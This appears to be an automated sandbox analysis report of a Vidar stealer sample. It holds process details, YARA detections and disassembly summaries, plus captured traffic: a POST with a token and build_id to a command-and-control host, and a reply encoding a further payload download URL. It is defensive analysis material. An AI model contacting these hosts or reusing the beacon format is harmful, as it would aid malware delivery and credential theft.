Oct 7, 2024 03:15:54.142750025 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIE Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="mode"5------JJECFIECBGDGCAAAEHIE--
Oct 7, 2024 03:15:54.816106081 CEST	258	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 34 0d 0a 4d 54 49 34 4d 54 55 34 4e 33 78 6f 64 48 52 77 4f 69 39 74 59 57 78 33 4c 6d 56 7a 59 57 78 6c 63 32 6c 75 4c 6d 4e 76 62 53 39 73 5a 47 31 7a 4c 32 45 30 4d 7a 51 34 4e 6a 45 79 4f 44 4d 30 4e 79 35 6c 65 47 56 38 4d 58 78 72 61 32 74 72 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 54MTI4MTU4N3xodHRwOi9tYWx3LmVzYWxlc2luLmNvbS9sZG1zL2E0MzQ4NjEyODM0Ny5leGV8MXxra2trfA==0

Target ID:	0
Start time:	21:15:07
Start date:	06/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa80000
File size:	594'296 bytes
MD5 hash:	F285025345A7381FE9A451BFD0E07947
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:15:07
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x790000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.3%
Total number of Nodes:	270
Total number of Limit Nodes:	5

Executed Functions

Function 00A81FE0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 433
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00B0CCE0,000004E4,00000040,?), ref: 00A82497

Strings

V, xrefs: 00A82408

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: V
API String ID: 544645111-1342839628
Opcode ID: 1b6d9875c6cd1bfa5a637fb3cd1bad2f10f75d5edb58f125009c83d668b787d9
Instruction ID: f2ad7375072f401c90ca85d904af17c4377e37672587418606a5a10494fa399f
Opcode Fuzzy Hash: 1b6d9875c6cd1bfa5a637fb3cd1bad2f10f75d5edb58f125009c83d668b787d9
Instruction Fuzzy Hash: 76A1CE37630E1B06E30CB1358D523F6A54AE7BA731F810336AE669B7E4E36A4D419384

Function 00A9A39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction ID: 5cd6b0459145ab134de261c7a88d790fc65a51b4abe2f38f4fffa115e9b7bff2
Opcode Fuzzy Hash: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction Fuzzy Hash: 78E08C32A11228EBCB15DB99DA4498AF3FCEB45B00B11009BF901D3100C270DE00D7D0

Function 00A90C7E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction ID: 76a206a9fca2270861b920f2da1be943adb116d2252683b8e717d672159afc20
Opcode Fuzzy Hash: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction Fuzzy Hash: D3C08C38240E008BCE2A8E108275BA933D4A3E17C2FA0098CC4224BA42C52E9C82D601

Function 00A95C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,196B86F4,?,00A95DA5,00A8C196,?,F8250000,00000000), ref: 00A95D59

Strings

api-ms-, xrefs: 00A95CEF
ext-ms-, xrefs: 00A95D03

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 98ebfcf86893a7a84f218b4897af282788bcc6a04068158f26c4f364dda9e34b
Instruction ID: 52f5f1da11750a161cb1d4c8a4acadbee843b61915c2affefd90b2ae6587886f
Opcode Fuzzy Hash: 98ebfcf86893a7a84f218b4897af282788bcc6a04068158f26c4f364dda9e34b
Instruction Fuzzy Hash: 5F21A572F01B11A7DF23DB74EC4AA5A37E8EB42764B250520E916AB2D0DB30ED01C7E0

Function 00A98B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00A98D2B

Part of subcall function 00A937D3: HeapAlloc.KERNEL32(00000000,00A99EFA,?,?,00A99EFA,00000220,?,?,?), ref: 00A93805

__freea.LIBCMT ref: 00A98D40
__freea.LIBCMT ref: 00A98D50

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 5d48b3cc16aa74c145241656e2db358a0f1efc36bdddd680382983913f74f36b
Instruction ID: e2ff2c7737dae66b4d8b17efe33d81224cea8a52ebb02ee8247f527310c25dd2
Opcode Fuzzy Hash: 5d48b3cc16aa74c145241656e2db358a0f1efc36bdddd680382983913f74f36b
Instruction Fuzzy Hash: CA51B2B270121AAFEF20AF64CD81EBB36E9EF16754B150529FD04D6190EF39CD1087A0

Function 00A90C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00A90D60,?,00A90C04,00000000,?,?,00A90D60,196B86F4,?,00A90D60), ref: 00A90C1B
TerminateProcess.KERNEL32(00000000,?,00A90C04,00000000,?,?,00A90D60,196B86F4,?,00A90D60), ref: 00A90C22
ExitProcess.KERNEL32 ref: 00A90C34

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: bfa9db1271c7808280065c259e9cb23cd86ea3373589228621be6d0919a94478
Instruction ID: 069da70ce8695cde522b06e7829b84d155517a25015db1caa1b38124ba97ef6d
Opcode Fuzzy Hash: bfa9db1271c7808280065c259e9cb23cd86ea3373589228621be6d0919a94478
Instruction Fuzzy Hash: 05D09232100109AFCF117FA9DE0DE893FBAEF453C1B904110B9099A0B1DB319EA6DB90

Function 00A9A0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A99C26: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00A99C51

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00A99F3D,?,00000000,?,?,?), ref: 00A9A159
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A99F3D,?,00000000,?,?,?), ref: 00A9A19B

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 00733e2a7318421cbcc3bf2c1b7fc746757b53e6e11b01618f02c48e48c52213
Instruction ID: 03447d96522a05288afa88ffe4e54cf2d1ce174680dae4a5855c401bb116884b
Opcode Fuzzy Hash: 00733e2a7318421cbcc3bf2c1b7fc746757b53e6e11b01618f02c48e48c52213
Instruction Fuzzy Hash: C4512371B002459EEF21DF79C8806EBBBF4EFA5300F24856FD0868B261E7759945CB92

Function 00A960B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00A98C6A,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00A960EA
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00A98C6A,?,?,00000000,?,00000000), ref: 00A96108

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 2d9bab105a8c4b87b3c7a1a6bcef7498a2b7607616b6faacdadeb310c61fb466
Instruction ID: bad55018ba90e05b9ebd14e1d2dbfe54ae282e6c55d2e2399af668ae99576f05
Opcode Fuzzy Hash: 2d9bab105a8c4b87b3c7a1a6bcef7498a2b7607616b6faacdadeb310c61fb466
Instruction Fuzzy Hash: 44F0683250021ABBCF129F90DD05ADE3E66EF48760F058110FA1865061C732C972AB90

Function 00A99CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00A99F49,00A99F3D,00000000), ref: 00A99D2C

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 4a3d4ba518972f728e62976a4ee85c4656b7ecbac38b36c16684ce22e1cc8ce8
Instruction ID: 65002e273f737afcc580bc6c69a54575343e2c0ad44d7edd0a3fcda38b4ba7fb
Opcode Fuzzy Hash: 4a3d4ba518972f728e62976a4ee85c4656b7ecbac38b36c16684ce22e1cc8ce8
Instruction Fuzzy Hash: 65510871A04258AADF21CB2CCD84BE77BFCEB56304F2405ADE59AC7182D3759D45DB20

Function 00A95D63 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0600a013a0b58789362655ceb986d904ab80c238ba8ee2275c1fd35187c3d9d5
Instruction ID: 1c05e51d7dbb704e1b9f8af670483e92dffdaa02cf2dcc39e43f7a9e4260e43e
Opcode Fuzzy Hash: 0600a013a0b58789362655ceb986d904ab80c238ba8ee2275c1fd35187c3d9d5
Instruction Fuzzy Hash: E9019233B006169BAF17CFBEEC46A5B37E6AB863207244121F901DB194EA30D8019750

Non-executed Functions

Function 00A9D0ED Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00A9D2D1

Strings

1#QNAN, xrefs: 00A9D200
1#INF, xrefs: 00A9D223
1#IND, xrefs: 00A9D1F2
1#SNAN, xrefs: 00A9D1F9

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 303d96c194cd3b2df8b92d1b724bc42f22ec468df7b081a4a352be667102fb9c
Instruction ID: b2d74fedc94725872f1ed80ca6b74ddb48a12aaad3133cb5c69279223b7a1c8a
Opcode Fuzzy Hash: 303d96c194cd3b2df8b92d1b724bc42f22ec468df7b081a4a352be667102fb9c
Instruction Fuzzy Hash: 6FD20472E082288BDF65CF28DD407EAB7F5EB48345F1445EAD40DA7241EB78AE858F40

Function 00A9C566 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00A9C884,00000002,00000000,?,?,?,00A9C884,?,00000000), ref: 00A9C5FF
GetLocaleInfoW.KERNEL32(?,20001004,00A9C884,00000002,00000000,?,?,?,00A9C884,?,00000000), ref: 00A9C628
GetACP.KERNEL32(?,?,00A9C884,?,00000000), ref: 00A9C63D

Strings

ACP, xrefs: 00A9C584
OCP, xrefs: 00A9C5BA

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e4688f9a62559ec65b3a59071873634b5285d74048ecefb9c79c8d339045fe5d
Instruction ID: 6e8c110721660fc523a31bab14b54e9716cccbb4ab150f7cc18f513f9c424314
Opcode Fuzzy Hash: e4688f9a62559ec65b3a59071873634b5285d74048ecefb9c79c8d339045fe5d
Instruction Fuzzy Hash: EC21BE32B40901AAEF34CB68C900B9777E6AB54B70B5B9424EA0AD7240FB32EE41C350

Function 00A9C73B Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A94C01: GetLastError.KERNEL32(?,00000008,00A991D2), ref: 00A94C05
Part of subcall function 00A94C01: SetLastError.KERNEL32(00000000,00AAB440,00000024,00A90169), ref: 00A94CA7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00A9C847
IsValidCodePage.KERNEL32(00000000), ref: 00A9C890
IsValidLocale.KERNEL32(?,00000001), ref: 00A9C89F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00A9C8E7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00A9C906

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: fc487e3dc6590a8a8fdf3c2272070108dc8ffb318956452d8db49772f66318f6
Instruction ID: ad0e94d873560ca17fab491a0636eef872c59203f61ffd125d99fef7bf3c27f6
Opcode Fuzzy Hash: fc487e3dc6590a8a8fdf3c2272070108dc8ffb318956452d8db49772f66318f6
Instruction Fuzzy Hash: D1518F71B00A06AFEF10DFA5CD41BBA73F8BF09710F148469E904E7191E7B09A40CBA0

Function 00A9BDD7 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A94C01: GetLastError.KERNEL32(?,00000008,00A991D2), ref: 00A94C05
Part of subcall function 00A94C01: SetLastError.KERNEL32(00000000,00AAB440,00000024,00A90169), ref: 00A94CA7

GetACP.KERNEL32(?,?,?,?,?,?,00A91598,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00A9BE98
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00A91598,?,?,?,00000055,?,-00000050,?,?), ref: 00A9BEC3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00A9C026

Strings

utf8, xrefs: 00A9BF95

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 360d8367614a37ad6b2345aaaba97adfa8ab5435cdedddea2575d470f8f9d51d
Instruction ID: 7dbfc8a8c4fc7debbc00b468f555d7955d1b43c3f2ed7d751cc082bc08f520aa
Opcode Fuzzy Hash: 360d8367614a37ad6b2345aaaba97adfa8ab5435cdedddea2575d470f8f9d51d
Instruction Fuzzy Hash: 8571F331B10206AAEF24AB75DE86BA7B3ECEF44710F144429F605D7181EB70ED418BB0

